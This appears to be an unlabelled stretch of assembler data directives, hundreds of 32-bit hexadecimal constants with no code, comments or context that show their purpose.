dd 78F4A8F9h, 495A1207h, 0DF21DA35h, 0AA9F290Bh, 758BC44Fh
dd 4306C093h, 0D1A353BDh, 0FC871272h, 4990011Eh, 2E8D6EABh
dd 3B0E3BD6h, 632AB7D4h, 483439Ah, 51DE0739h, 80CC46B8h
dd 2B521EDCh, 1C151760h, 0F677015h, 8D2498A5h, 0F55010E0h
dd 0F8C7098h, 0A337ADDFh, 0E90782BAh, 0AD3D14F0h, 0E4D3E6CCh
dd 0CA6F46F4h, 7F9A09D8h, 13140DD5h, 4FDCE2A9h, 381C96FDh
dd 0F6D8E205h, 0B09D0492h, 0E3CC9557h, 72DCAB2Fh, 0A5746D0Fh
dd 0A6E6225Ch, 585EC425h, 497C578Ch, 94CB36Bh, 938E7075h
dd 79E402ABh, 0C52A9DCFh, 0E84282E5h, 2DBCC09h, 45324E1h
dd 0E4D23B64h, 43111DE5h, 340DC107h, 14244CD4h, 58DA3822h
dd 9D57BB0Fh, 0CEDEBF85h, 4F0135ACh, 9C3AD63Fh, 593B58B7h
dd 12EAEDA8h, 826FB9FDh, 569E8D88h, 0F5DD0C5Ch, 0A3E5D2CBh
dd 6B25EC29h, 0B77439E6h, 0D328D6BDh, 0F1CBCBC6h, 18DE46D4h
dd 668E480Bh, 1EBB8E1Dh, 2461338Bh, 0BA0840D4h, 0C004D992h
dd 0DB53D237h, 0DFC39264h, 0B93F0A62h, 16B57C03h, 847F958Fh
dd 377D9BE4h, 0DD458BB3h, 0E6A319E4h, 5986578Dh, 7B918D5Bh
dd 9CB6DF62h, 75EA08D0h, 8B889E53h, 63A55B7Bh, 8A83D8ABh
dd 0FC938C46h, 0D3D5C456h, 0B99A5DFBh, 0A64EFDC5h, 0B1C04437h
dd 9DC8FBB1h, 9454CFB0h, 0B59DB5E1h, 0D20E52B8h, 1E31C562h
dd 0EA2F9D6h, 8F505A93h, 0C4094626h, 0CDC6002Eh, 3FA8C272h
dd 67487BEEh, 3008F968h, 4122C628h, 0A4C8F38Bh, 9029BE63h
dd 0E43C0267h, 0F375874Fh, 0B5248E3Eh, 55B024D9h, 0B02D6476h
dd 0ED3200D0h, 0D8B09429h, 0FC3D1E51h, 918A5425h, 6FE1C3BDh
dd 0BF2FFFC3h, 944003F2h, 8BEEA8CEh, 0A6A7AC45h, 0A96EAE6Dh
dd 4B33AC65h, 31D65886h, 6D8222D4h, 4AD929ADh, 0D09C00E4h
dd 0C211F4B0h, 0E4FD80Fh, 0A674D605h, 1F31563Bh, 0A7FEE8A5h
dd 8FA2E251h, 9DD016Bh, 419DE1Eh, 0E147DAA6h, 3FE8F06Fh
dd 0E56FAD0Fh, 90E516ACh, 0AA7079E7h, 385C0037h, 86FD4C73h
dd 15577DA5h, 7CEBB641h, 5E5A6AF6h, 0EEDE27A3h, 79DC5586h
dd 6C1E1791h, 831137BFh, 0C776B1F6h, 0CEFA7796h, 8A31F979h
dd 6ABFB89Fh, 93254466h, 3858CB6Ch, 658A49FFh, 0C92A1BEh
dd 0A1C3EA4h, 271F3D0h, 0FFB7755Fh, 0E61B3577h, 87AEACC3h
dd 0F9F76F24h, 0F287036h, 2E1F5B67h, 8B26E75Eh, 756EDE8Eh
dd 75C6ED32h, 0B929F68Ah, 739AB59Fh, 98B55972h, 59F21FBBh
dd 20AEBD18h, 9F308220h, 0D0B5A7C5h, 0BA76855Ah, 0F4045B6Fh
dd 0E6673522h, 0CC22B830h, 0EF34B641h, 843DE361h, 0E444ECD6h
dd 14A2BC6Fh, 7996FCDAh, 0E00502BCh, 94F4101Eh, 39D4F757h
dd 609D5CA5h, 0EC715795h, 0AF9D1AE0h, 146706BBh, 8B892DCEh
dd 4D7BFEC9h, 731914CCh, 7A794C03h, 285E6138h, 0B39AEDAFh
dd 0EA9E4B52h, 0FFD53F9Ch, 37F0E55h, 24AC753Ah, 69119543h
dd 5F4137E8h, 362A66E7h, 0C66B215Ah, 0FCFFA12Bh, 0B82B6D8Ah
dd 3BAD96B0h, 0C0E7347Dh, 7459AF86h, 0CF17A79h, 0CB5D31h
dd 56ABB5DEh, 0E62DD545h, 973642E5h, 0FD34F6ADh, 7EE88ADh
dd 0BF7448C5h, 423944CFh, 5A273379h, 13A3E654h, 0E7C8323Bh
dd 0AC3B918Dh, 93B32EFEh, 0DC0D2B68h, 0B763C8E3h, 0BAFC0503h
dd 71A0364Ch, 9E36A19h, 39564396h, 0CC88ECA0h, 0E98A7EBCh
dd 0C6C7D8E5h, 0B2F232F3h, 0DD86AFAh, 0E638C547h, 42F08E60h
dd 0BEE131A1h, 0B91F46BBh, 9ABC9F58h, 0C8A2F0AEh, 5CBF54C7h
dd 0DA2FABBBh, 0B05C1BB5h, 68D85261h, 0FB39184Ah, 3E55768Fh
dd 0D2758181h, 0CD275BFh, 2B0AB3Ch, 68B12BA1h, 43DBE41Ah
dd 0A0FF6F02h, 1A93A7E7h, 0FF14DC32h, 0E1D22DE6h, 8A300A69h
dd 0BE2F985Eh, 13DB6EC4h, 0E596BE09h, 6C843075h, 736B41B7h
dd 900B03Eh, 117C7635h, 0D142C095h, 0D1834300h, 1E220C4Ah
dd 8F8DE4DCh, 8374E776h, 3CC7A8CDh, 4FD27955h, 0C4EE14F4h
dd 7F4F12E1h, 57BC77h, 499B9119h, 7AFAE42h, 758499D1h
dd 7F254997h, 8CFF0398h, 2A913B0Dh, 953F4994h, 0E64680BAh
dd 9D8FF0A8h, 386F555Bh, 95326E45h, 0ED1DBE6h, 0A45E3086h
dd 14354FADh, 0C004627Bh, 2108E130h, 0AB21AACh, 4BC208F0h
dd 8CD4EA29h, 0DA47F5BAh, 2C3D339Fh, 6D8FB413h, 5BE4FE6Ah
dd 0CFF078FDh, 1FAD38E6h, 0DCC715D0h, 576BE866h, 39484801h
dd 380472AAh, 7EC03057h, 193D6EB2h, 0BCB5D902h, 749C48C5h
dd 0CE6DDF22h, 0F0CB139Bh, 0E909E220h, 5A2A2233h, 773CFE03h
dd 6E8CC443h, 0B2CF4F24h, 39116C5Ch, 0D6EA1251h, 0D940EA34h
dd 19F8D7D5h, 0C3C02B5Bh, 0C9EC6918h, 0DA18B4B3h, 9D425DDFh
dd 4269E29Dh, 0DAEED82Ah, 71A136B4h, 5D0A83ECh, 813EC227h
dd 2744F72Fh, 4AF6F05Eh, 0BCF5905h, 8B28E074h, 3B0B34E7h
dd 76B3061Ah, 49FEF107h, 3B697F3Fh, 277FAFE2h, 61975B39h
dd 89DC5798h, 0A6358B46h, 0C3CCF602h, 0E54874C1h, 376EAB30h
dd 0E7B5F72Fh, 0ABD6D1A0h, 10A9474h, 3953DF47h, 0BA363465h
dd 8FD0E1BDh, 5B129D87h, 257120C4h, 0E61F81B8h, 0A0196601h
dd 0A4B61FCh, 0F3289DE2h, 0BBFF9CA8h, 0B08AF87Dh, 62E952A3h
dd 62BDE313h, 8BC979B7h, 94DA39E3h, 0F214E9F2h, 0DFE7C942h
dd 0EC6BB72Ah, 0E47B933h, 0DD124CC3h, 0B45CA4FAh, 0FA7F4242h
dd 842C2F08h, 4E0F7F6Dh, 8A10E673h, 4F3E4889h, 686DF596h
dd 4D6356B7h, 0E3A2E5Ah, 0EBEB912Fh, 0FC23214Dh, 94E240E3h
dd 768C445Eh, 0B6DAAF1Eh, 6C144431h, 64D455CAh, 2C59CDE7h
dd 523421CEh, 0C19B710Dh, 0CB8D569Bh, 5C49779Fh, 3C3C181Eh
dd 0AB704888h, 0B0258967h, 71A3926Dh, 6FA90486h, 2423A85Dh
dd 7D86A1D2h, 7A01B2ACh, 0CC41EC69h, 7B561865h, 0BAAB0741h
dd 293C0D98h, 5764D6EAh, 5619A082h, 6C3A42E0h, 8DC18C83h
dd 2CEE8909h, 9FFE749Dh, 236FD934h, 249AA92Ah, 9A5A3CCDh
dd 1E069581h, 12B1229Fh, 55CF6CC4h, 0F059880Dh, 0F6E0581Ah
dd 0E9E68123h, 6EF83D1Fh, 9A6C112Bh, 57900183h, 0FF934EA1h
dd 0A612843Ah, 0D27E6E1Ah, 30371A25h, 8452B435h, 0B0EE5FD8h
dd 56A32A2Ah, 0C399F592h, 47E1777Bh, 51ECF8E4h, 170132C8h
dd 86CB69D0h, 0C70B52BAh, 0B0FD7DE5h, 0A1E71C06h, 0A827CD8Ah
dd 73EEE89Bh, 31B6C34Eh, 9859BC56h, 25D52197h, 68240781h
dd 0DF580277h, 0C36CCB77h
dd 4C4D3EDFh, 0FCA167Bh, 67A1FF5Fh, 8D16F5D2h, 0C81FC3BEh
dd 7C22B8D8h, 5CA2D7F4h, 253A7077h, 1D67123Dh, 14E3124Bh
dd 3AD1E5A5h, 3FF6073h, 0B6F34AE4h, 0FA02AF57h, 0C24E42A0h
dd 6BD46007h, 6F2AF386h, 0B7050184h, 320B8860h, 0EFDF603Eh
dd 0F0C598A4h, 0D4A8F78Ch, 65834088h, 5CF0230Ah, 0BFBCCE47h
dd 44DF606Dh, 11746F7Bh, 9ADD2C75h, 6D5592FEh, 1928D0C4h
dd 3588A7BEh, 0C5383A21h, 6B0B7C27h, 0D1A88F07h, 99F011D1h
dd 44E8AF65h, 0B24EB818h, 0DD2D88D7h, 0F0AE6EEAh, 0E9B14EDBh
dd 4ECE715h, 5EA4DCFAh, 9E7B2B2Eh, 8312B02Ch, 959696E3h
dd 0F09A9845h, 0B6C37D56h, 38E738F4h, 2E41327Dh, 29F8729Bh
dd 50103E53h, 9F8F2B2Ch, 90DB6658h, 10C37894h, 49109939h
dd 3AF4A193h, 0DCD545E3h, 740D4F7Bh, 0FB091228h, 7D2B86BCh
dd 0A351C6AEh, 4E80BF25h, 0A1D7EE00h, 2E9D4285h, 0FE180F9Fh
dd 405E48AEh, 0C117100h, 55B64AF3h, 168BC53Ch, 4D923CA6h
dd 0F24E5513h, 44EBC841h, 6D2CD9A6h, 13FDE77h, 75D9B90Ch
dd 0B4A270h, 23E40F2h, 0E3571AD7h, 278DA84Ah, 97CEAD6Ch
dd 6E9D4F57h, 0F7D8C8D8h, 87F0705h, 2CA288A9h, 57ECB9Bh
dd 0C8F3ADCAh, 547EA4F4h, 0D1C0DC54h, 39ED5F95h, 3DBF2D1Bh
dd 0A6130D0Fh, 9FF521FAh, 0D405A210h, 7DEDDD25h, 0E262104Dh
dd 0F76AEB17h, 0C05E455Eh, 1EF58BE5h, 0E4D17AD3h, 0AECFCE00h
dd 80D09464h, 3F5E4D6Ah, 0FE7808F0h, 0EF68C6AAh, 0B9D9431Dh
dd 1A93C77Eh, 5D6B57C0h, 3F2FA4F5h, 0A085FDFCh, 3A6948F6h
dd 528C05FEh, 0CC18F8Eh, 0EAF73E63h, 0FF4788F5h, 88355C6Eh
dd 5957AFD2h, 49503D09h, 0F67D986Ah, 9D1C2FC5h, 0A5B2A9EBh
dd 2A7D91C9h, 55FCDD32h, 582B9088h, 77CFF678h, 9E5E9B5Eh
dd 8B120E9h, 379ABF65h, 8769998Fh, 0DE237927h, 0CF06FF3Dh
dd 86057EE5h, 775B5380h, 0B94F4CCBh, 8D9BD977h, 0F31E0B05h
dd 98843864h, 7DFCD3CBh, 44CC787Ah, 515A2Fh, 446C242h
dd 4A7C6580h, 0F08BD961h, 576DF8E8h, 3B3673E6h, 0A0B594F5h
dd 0B39F3266h, 0E92AAECh, 0C46B7DF6h, 0BD91A9B6h, 0F813074Bh
dd 0BE3960Fh, 9C12D0F7h, 5F45B724h, 0E95EDA2Eh, 16A136AEh
dd 5AB3938Ah, 0C5C2EF1Bh, 4B2FCAE1h, 9C828130h, 0D9EAF03Eh
dd 57C4045Eh, 0E5223EECh, 358A3B8Dh, 0E9962A3Eh, 873DF402h
dd 0D3DDB591h, 1BB65D12h, 827C288Ah, 70CF0926h, 4EDF408Ch
dd 0D6EC29C3h, 0E598C30Ah, 1DF4ED95h, 3CDBB5A2h, 7A48AE8Fh
dd 3F0EEDE3h, 7F008AC5h, 0A5347BE1h, 6AFD7F5Ah, 66860F8Ah
dd 8CC4E5DBh, 0D20E070h, 9E0CC18Fh, 0C535D90h, 7CF6B1A4h
dd 0A1F24250h, 646E7872h, 13F5D93Fh, 0D3ADA0A0h, 49187749h
dd 0CE761176h, 8013C37Ch, 901B4E27h, 0A8D00F4Fh, 5C251EE8h
dd 0E17DD441h, 0D4ACCBAFh, 179956C4h, 0ABAF4AAAh, 0DE9120C6h
dd 0AF0CA659h, 0A01A6CF6h, 0C0B8322Fh, 0E12C9317h, 0B95FCBF7h
dd 611FC4AFh, 251DEE69h, 0B2D417F1h, 729091E0h, 3BD638CDh
dd 4D1609F9h, 8A0E3791h, 0F64DC2DCh, 0B02375DCh, 0BA88CBA6h
dd 12A43889h, 0BE051CADh, 0E716102Eh, 9F5C8B6h, 0A27BEB9Dh
dd 0CD8D5F46h, 4BA6DCD0h, 0BD26C0FAh, 6719BB27h, 66E14348h
dd 5361AD7Ch, 2A5CE03Ch, 2AE5AB50h, 0D6AA23B6h, 100DEB85h
dd 307E387Fh, 51C260DEh, 0BA02D022h, 77B990DEh, 0F4DD3ADAh
dd 6756076h, 1CE986CAh, 6B6045CFh, 51D55B1Bh, 3D3A8260h
dd 76E4AC60h, 49E8B562h, 0FDAF0F23h, 0F5765B57h, 0B2C95D4Dh
dd 0CD4A5A5Dh, 0AA80ACA6h, 0BECF9026h, 0D4B02656h, 1F9C498Ch
dd 94DB6813h, 820A6A5Eh, 22E6839Ah, 69E1341Ah, 4546BBEFh
dd 8A083C54h, 54B46D9h, 88C7A0EFh, 2E05AA58h, 8A4BD5ABh
dd 0EE23470h, 81C04340h, 63F38D24h, 8A68F91Eh, 984278F9h
dd 0B99B1354h, 914FE82Ch, 796FAABBh, 41DA864Dh, 0AAD282B8h
dd 82DF2061h, 0CC2B3149h, 430350C4h, 0DDF80C0Fh, 0C349AD86h
dd 38C9DF0Eh, 0A51F5BFEh, 0D4366D14h, 0C9D0EEE4h, 140AD5C8h
dd 23FDEBBBh, 0DEA97F95h, 27A5B968h, 0B4150BEEh, 6B5E9971h
dd 32A1D269h, 0EB1092FAh, 348927DCh, 0A4D92D6Fh, 3B6BE8C1h
dd 0C4A709BDh, 0E29C1339h, 0C62B4F8Ch, 6076938Dh, 0C4594C09h
dd 168FFF3Dh, 51368E6Ah, 7AC0F89Ch, 0A9C49FA7h, 662CB861h
dd 0BE65D1A0h, 55740627h, 1EA33D60h, 0D81EA430h, 0C6E91543h
dd 220C1C79h, 0AE81156Ch, 0F94AA117h, 0D4EB7930h, 0BB5D2F29h
dd 0D1764D80h, 0F0750A7Ch, 0B5077664h, 464FCF74h, 2090F4F2h
dd 75DBA53h, 5C7E857Fh, 93CE6298h, 0E4CC1175h, 4BD825CCh
dd 46246750h, 92C32F45h, 46F83D6h, 69E204CDh, 0B6910623h
dd 4ACB86F0h, 6E424300h, 0FD33B9Ah, 1DA7DF24h, 68EBE1FEh
dd 267DED50h, 67723E1Fh, 0D82FEAA9h, 10146AC9h, 0E8164DC2h
dd 40006508h, 0D9D2BCBDh, 37DAE252h, 0C02ED728h, 694417F9h
dd 4B1BFE9h, 7FB806C2h, 0BF6589BDh, 378F3555h, 0C82F71B4h
dd 21F2233Ah, 0DC2852B9h, 0FF2D2460h, 61866D4Ah, 0B7705E2Ah
dd 366898D4h, 0E4348CC7h, 714046ADh, 0C3590A08h, 0B5CB2E4Ah
dd 0B11B5859h, 720D2D31h, 5B4E7B03h, 9F15F7D5h, 8C7B62D0h
dd 0C216F952h, 0F37107CBh, 9B7F7296h, 922102CAh, 15D3894Ch
dd 0D452EB79h, 2874A102h, 0BF365D10h, 80C1144Ah, 0FD41CEC3h
dd 0E017CD35h, 416CF69Eh, 0CF0A5C57h, 9709AACEh, 0F1F1EE3Ah
dd 99F22AD5h, 4F32E456h, 45C8440Fh, 4DF80351h, 0B7537A8Bh
dd 5986343Ch, 0FB4CB1B8h, 75AAF13Fh, 0B58EB90h, 6683B9DBh
dd 1F338621h, 4C7D5C07h, 17962B93h, 4FD78320h, 3685C2BCh
dd 198D1596h, 1F02C54Ch, 0E8180BABh, 78360793h, 0B6D6E2CDh
dd 0A63C36Eh, 0ABDD2354h, 32EAC6D3h, 0A6979DF6h, 419D51F9h
dd 0C47E9FDCh, 5E39375Ah, 9224CF4Ah, 2430F2F8h, 4BDEF14Bh
dd 853FC41Fh, 76973D82h, 22A7647Bh, 0F0759354h, 8AF423B5h
dd 34F88E02h, 0E8E6C521h, 0E4DE15F8h, 5C319DE4h, 0F1785C54h
dd 68B4DB37h, 0C52209ACh, 0D8840F1Bh, 2F1A9520h, 96BF89FDh
dd 4F560342h, 0CCAC9C0Bh, 0F0D87697h, 0E6C623A5h, 0CE9B6CE7h
dd 0E8CC546h, 0EA985336h, 0E302A90Dh, 0C921229Dh, 3A21D174h
dd 51A15DBh, 0F603F790h, 0F68FC4D5h, 845D93E2h, 0AE51BD6Fh
dd 0F469A56Ch, 0D1A6AA41h, 1E58AE5Bh, 10E4F122h, 0FC3B7219h
dd 2CFFF031h, 68325EE0h, 4F1007E1h, 0C490D473h, 309BC028h
dd 414EEFF9h, 8F809F4Dh, 82FDCBAFh, 6A260A9Ch, 0C58C2D9Eh
dd 8FB168ECh, 4FEB7CA9h, 0AFDE0FE9h, 37406717h, 38A894CCh
dd 0D7850B1Ch, 2EB5E063h, 585E1FF9h, 8711C769h, 0A15458E6h
dd 604B58D6h, 0F33B53CFh, 0BC1B50DCh, 8CE47936h, 0C33ED943h
dd 0AFFCBFF2h, 0AFD2B7C5h, 117AE7Bh, 59278EECh, 67ABE7E7h
dd 0A93A89Ch, 7B0723C9h, 2A7D363h, 80423DCBh, 0E4B6D04Bh
dd 0DBBABE9h, 0F805E969h, 40E6448Eh, 367BA0D9h, 12F9DB0Dh
dd 799379E3h, 0F7AC04F4h, 0A79B1253h, 1C9265FCh, 0ACE997A6h
dd 8D180E95h, 4E50F3C1h, 0D12BD42Ah, 3A71F0F3h, 769DE012h
dd 0E55A5D26h, 0DADC8EE8h, 847F1DADh, 0A05805A0h, 9CB41D9Eh
dd 0CD7B4F16h, 0CA5C34C2h, 3A1D55E3h, 0C9752BC4h, 2F9B5E55h
dd 7F365AFEh, 0C0D9A53Ah, 5EBA08A0h, 885D3B91h, 81970CA2h
dd 1D24D0F6h, 0E0BA253Bh, 4802F966h, 0E21FA885h, 3F2A69C7h
dd 2D86DFE8h, 6458923Eh
dd 0ADC23964h, 5BD3C758h, 0BEB2E873h, 0BB820406h, 609BAE66h
dd 0D6D657BCh, 8AD6AFB4h, 6E403CEAh, 5E0CF5B2h, 7134331Dh
dd 73346BA0h, 67DDAF69h, 2AC35405h, 0A0EAEA8Ah, 681DD18Bh
dd 0CBB2B7E7h, 57D35F23h, 740E2BF3h, 8A061CE5h, 8F17B6C5h
dd 0FA010E57h, 0DFF14B3h, 903B9497h, 22F8594Ah, 0D483B6C4h
dd 0F1F9F768h, 3F8D0A55h, 0B7880643h, 0BD451C12h, 0AD373359h
dd 3A5037F9h, 0B6034039h, 61EF810Fh, 8FEB491Bh, 0D6D47EADh
dd 0BC8C13DDh, 66E4C2E6h, 47643D1Ch, 0F285766Bh, 0A9DD041h
dd 5F4773F0h, 32CAF664h, 8E42B1A9h, 0E746AFF9h, 64B93A9Ah
dd 51411686h, 945DF118h, 739E14C3h, 29AC5328h, 66F42481h
dd 22E99536h, 401CBF6h, 9A81E1EAh, 0FA5AA7AFh, 3D786AA8h
dd 9790C2C9h, 0D139F3A4h, 73A1DEAFh, 0CDEDAF56h, 809986B0h
dd 0E9066D2Eh, 79DDC266h, 8A6ED614h, 15C1EE2Bh, 0C0FDEECAh
dd 0B1F9269Ch, 365FEC5Fh, 6322A5A7h, 0ABCD0F26h, 4BBEF359h
dd 1F246155h, 1BD66D82h, 197FE4E4h, 0BABFFD03h, 5349C2CEh
dd 3FAC82BAh, 0C4781F31h, 1C4CFF17h, 1D9C4F22h, 63A5172Fh
dd 0A1100929h, 0A8459648h, 1F10FA34h, 0E6BD3019h, 918FA733h
dd 0C307F235h, 8FB16626h, 0D362738Ah, 80FCCFEBh, 0EDFD14Ch
dd 0F35387CAh, 0B59080Ah, 0FBEB859Dh, 0C95E4C74h, 31E321E8h
dd 904CA29Ch, 508215Ah, 0A1AF1E74h, 6A5A5E27h, 1F796F1Eh
dd 9344BF8Eh, 8984F9E0h, 0BE0718EFh, 4B5B928Ch, 75F2CB58h
dd 34C692BDh, 0B24D4E87h, 0ED044172h, 0C7125133h, 4EBA4AB4h
dd 4B166FEDh, 6532E730h, 0CF08D224h, 0E3A3F6BDh, 9F2D6264h
dd 2C346F3Bh, 3BC4548Dh, 915BE0FDh, 431E67Ah, 13BAE898h
dd 2A5BB6BBh, 0A45D3919h, 12E9C1A6h, 1BC84491h, 571A3A0Fh
dd 0F31487EBh, 0D89EF6B9h, 5471D96Eh, 0E86067B1h, 7BDF0E15h
dd 816E221Fh, 6F137736h, 0B5DF4CE6h, 0F9FA4639h, 9481493Ch
dd 0A2E081FFh, 48ECA256h, 4BC98CF7h, 4299F3DBh, 5DBBE722h
dd 2A5EEEDDh, 68810CF6h, 2CEE4883h, 0D7D339A9h, 745BB2B3h
dd 2B78D3B0h, 684D9942h, 11869E10h, 0E9548770h, 1486BA2Ah
dd 9ABA2176h, 0AC1D3F70h, 44242BE6h, 0EFE9A857h, 0B1F9C18Ch
dd 0AA82823Eh, 9BFE1ECh, 6A600746h, 97B1BFF2h, 0A25D1C6Ah
dd 0EB6C61A6h, 0C45F60D8h, 42830478h, 0E36137DAh, 740204FBh
dd 705B276Fh, 0E3056A7h, 95610A0Bh, 0F73D89B8h, 76EB7040h
dd 857368CFh, 7DE9D599h, 51CD48A9h, 9E9527C2h, 498606B2h
dd 77C5320h, 0DFE25C6Ah, 0FC8ACAB2h, 7756A25Fh, 9998851Fh
dd 0CF0F861Ch, 824649ADh, 3D98BBB6h, 42A3A0B6h, 9E1AD473h
dd 5C365D8h, 304B686Ah, 0CA895F7h, 0E746C778h, 4AB6DA24h
dd 80D465EBh, 263A8330h, 298ABF4Dh, 0B5E7DE6h, 84FA1E0Bh
dd 0DDD13816h, 3D78B08Eh, 0C034011Dh, 2B7DC9ABh, 5E26FE87h
dd 378C4242h, 15B3C739h, 0BE11D3C8h, 0C929A7FAh, 0C716AB20h
dd 8DC03A5Ch, 6205F6C1h, 0F0B24CFEh, 0DE6E23C0h, 414DCB23h
dd 0F90DD16h, 0E98C8354h, 79A43BE0h, 0B4B4C66Fh, 365E5FE4h
dd 0EF6A174Ch, 9DBBB18Fh, 9CAB0224h, 38463688h, 4029524Ch
dd 0CB2AC9B9h, 56931D59h, 4031384Eh, 0E338FCC1h, 0DCECA70Fh
dd 48D628E3h, 8AC81553h, 0A77E5241h, 17BACC97h, 77B16E61h
dd 0A426E62h, 420EDE12h, 57D4CC6Eh, 1A3CFC3Bh, 1AA0EF2Ah
dd 7FAAE657h, 28EEF271h, 45F5AD3Dh, 2FE306CAh, 380F9EFDh
dd 0C70D8BBFh, 3A2E8F1Fh, 0D486CC97h, 4A381D71h, 0D67377DBh
dd 0EA7C0E5Fh, 552FA8D4h, 0E6CCDFE5h, 700940DAh, 41AB2DAAh
dd 24D4CD63h, 82DE668Bh, 23C9D2E4h, 0AB9E9535h, 0B0C4110Eh
dd 853EA457h, 87D7D729h, 64D43E05h, 723C98Ch, 0E437718Ch
dd 35F61102h, 41284421h, 212B4A67h, 0D2E44994h, 81ACDDAFh
dd 0E907C8C7h, 7E608C9Eh, 9C949C82h, 0ED818437h, 8AB47F63h
dd 0F812DF04h, 948F3C75h, 5010F467h, 2782578h, 0E26E1D6Dh
dd 7D3618F6h, 285326B9h, 2901D191h, 0EEDED3D4h, 51B2F352h
dd 663D0CAAh, 0B0CD3573h, 4E900F94h, 3A2CDDDDh, 522C127Ch
dd 69B6E72Ch, 0BD9108BFh, 4F10E56Bh, 89025C0h, 42036F12h
dd 94AC6367h, 863714Dh, 0DF710066h, 0C1723148h, 8028259h
dd 415BB76Dh, 73651E00h, 0FE7091FCh, 0AB476ADAh, 69D0A12Dh
dd 66069AF1h, 18D12509h, 0A456B6CCh, 42B54170h, 2D850933h
dd 68B2C022h, 0D9BED63Bh, 249D6C99h, 0DB0E5A7Dh, 0B54348C4h
dd 9233AFAEh, 0CDC06E97h, 55D2C0A5h, 5BB4EED2h, 28108685h
dd 0ABB8D839h, 870DFB06h, 1D6B6ACFh, 0DBFC255Ch, 0CC8A1214h
dd 95C1D503h, 3D3C0ED8h, 0B932FFE0h, 0E931450Eh, 0E67EA013h
dd 270FB180h, 8F13654Bh, 0D500023Fh, 0BDC24D77h, 0AE4F2E0Ah
dd 0F78FFA18h, 88CF4DB5h, 0E81D0B9Fh, 4D93058Ah, 0E33A1E11h
dd 7CCEFA4Fh, 31437FE1h, 0F1C7E2DCh, 0E224E18Eh, 0ABDDAADFh
dd 0F1E1ADF8h, 0EA4EC667h, 4AC73695h, 333C49EBh, 441BA60h
dd 9AEE2BB8h, 104B8BF8h, 0F90CDFA0h, 6A9241C8h, 57348271h
dd 0C03FAD56h, 0CAB63527h, 0E4980623h, 0FAFD50D2h, 5F089980h
dd 709B90E1h, 33AA8019h, 57F26AE9h, 8606267Dh, 26F67904h
dd 0DFD7135h, 60B94999h, 1FBC6E06h, 24DBE7A2h, 13684FF5h
dd 0DE2C3E17h, 61DC057Ch, 5C748DE0h, 0F7B160D4h, 5CFC1B8Ch
dd 0DF9CE94Ah, 129899E3h, 0FBC01B8h, 296B9549h, 0D94A7A52h
dd 8AE12681h, 85B1F095h, 0C5E72C48h, 0C7A9494Dh, 0FB1653CAh
dd 7CC692E9h, 6EB987B9h, 2D4C7D25h, 9FA59D82h, 82F865D3h
dd 491F73C3h, 48CE5C66h, 55896832h, 0C8DB58EBh, 9FDCE2B0h
dd 584D670h, 34E9428Ah, 33535AAEh, 0DFD18C58h, 0F7F9F9Fh
dd 39CBAD6Eh, 0BAECD020h, 792E8C6Ah, 0E1DA0B6Ch, 75ACD061h
dd 56B19247h, 165D8BE0h, 7EDE4C98h, 0E2247A5Eh, 0F5EA9E1Fh
dd 6025B2B5h, 0CC3C6978h, 8F85AF3Ch, 4DAC9745h, 1E747747h
dd 50EFA1CFh, 0A6C23B0Eh, 296EDD59h, 2CE055A5h, 0AF0ABA5Bh
dd 0BCFE0788h, 8DD3399h, 0C6CB9AAFh, 0DE67452Bh, 0E7346FE7h
dd 28783865h, 41FD4376h, 503979FCh, 0C82BFDEDh, 0EC4E793Ah
dd 1050385Bh, 3F9828B3h, 0F709C7EAh, 39C52E09h, 44C31897h
dd 35E7DA96h, 0D585824h, 9FDCC15Eh, 0A7278C22h, 0D10D3EF8h
dd 2A7BB988h, 90627C74h, 24462A0Bh, 6EC94132h, 0FDFBBE38h
dd 5541C13Eh, 8AB0BA54h, 808E0AFCh, 14F0753Eh, 0EE397909h
dd 5166290Ah, 553A3A8Fh, 60E79B09h, 0C4A719D0h, 69010DB9h
dd 0B82B7744h, 1963004Fh, 75DAA9Ah, 2748AF9Dh, 0BBB619BEh
dd 0D4A60BBDh, 23BE7E03h, 70CE84DAh, 0FBCC9083h, 87A40805h
dd 7D603EC8h, 0C337C9EBh, 0E75FFBFCh, 5E01D47Dh, 0E891B3B3h
dd 0E7358AB7h, 263A4F22h, 69847BFDh, 40859CC9h, 0A9772DA4h
dd 725084B1h, 53D45A4Eh, 0A7A9AA34h, 114018B7h, 0F94BBA1Dh
dd 2EBB0365h, 2BCCBBA0h, 635195CCh, 0AD6A8CFCh, 20E20323h
dd 0DF6E66EEh, 0AAC337A3h, 39BDDC50h, 5FB0DC2Ch, 8AAF4E9Eh
dd 0ED74AF7Ch, 0ABD7C99Ah, 0D5AD60AEh, 7BCF1B3h, 0C4B93530h
dd 5B056A11h, 0B364018Ah, 87E12767h, 178C7A9Eh, 0E4E685AFh
dd 78EF613Ch, 8AAC500h, 0C6FA7B8Fh, 0EEB2EA46h, 0B57B4198h
dd 2403C2C9h, 0FB5C3670h, 921A3EEBh, 65B849A6h, 8A6E1C46h
dd 10078396h, 0B55C25E1h, 365A5BB2h, 0BE17D1A5h, 6B7C483Bh
dd 916BEAFFh, 39CB5698h
dd 346E0D86h, 481643ABh, 80E0FD57h, 21573744h, 2B49D8D4h
dd 84A34228h, 0E5FF293h, 15D7CF98h, 0FC726555h, 0A2D99B04h
dd 4D6D07EAh, 3EB17BA1h, 6488CA12h, 0AF5B42F0h, 3F22F251h
dd 16E8AC7h, 0CB918069h, 0E9230FE3h, 0CAB29E5Ch, 0D6D4C860h
dd 53EFF018h, 4F220094h, 1949AEBAh, 0ED153CB8h, 33B207C0h
dd 189BBC16h, 0F8292648h, 0EA503E2h, 877E362h, 0E5666B74h
dd 0F665BA12h, 0FF314C8h, 0A3FEF62Eh, 5A374A60h, 0DD8487BDh
dd 9E1056F7h, 6CA24FAFh, 494CB74Ah, 25D66CBEh, 76771C68h
dd 851E441Dh, 281D5A1Ch, 0ACBE358Bh, 798FE836h, 5A8D7E9Dh
dd 2DD7A945h, 5E97D55Ah, 0CE8B43DFh, 4FAA9EBFh, 0A256D59h
dd 0D923A331h, 49D7DFD9h, 74CF145Eh, 83B54778h, 0D675CBF2h
dd 29337695h, 9C628F4Bh, 64A90D30h, 0A5DACBBDh, 0B30058FAh
dd 71AA0419h, 0D33BC175h, 0E0622BF9h, 7E243576h, 0A2CDFEE6h
dd 1A76ABB0h, 0E1E6C6E7h, 0E91AE1B0h, 0A53B8E06h, 56F6BF49h
dd 79E2E5ECh, 3BDD91EFh, 0D34CB199h, 5DAD21FEh, 1076DF5Bh
dd 0F4D2BBFCh, 628A0A52h, 9D68C4h, 0E9D7F86Dh, 0E3B130DAh
dd 58F1C8CFh, 1055D398h, 0D1AB0F52h, 3F3EAF27h, 0B078FFD7h
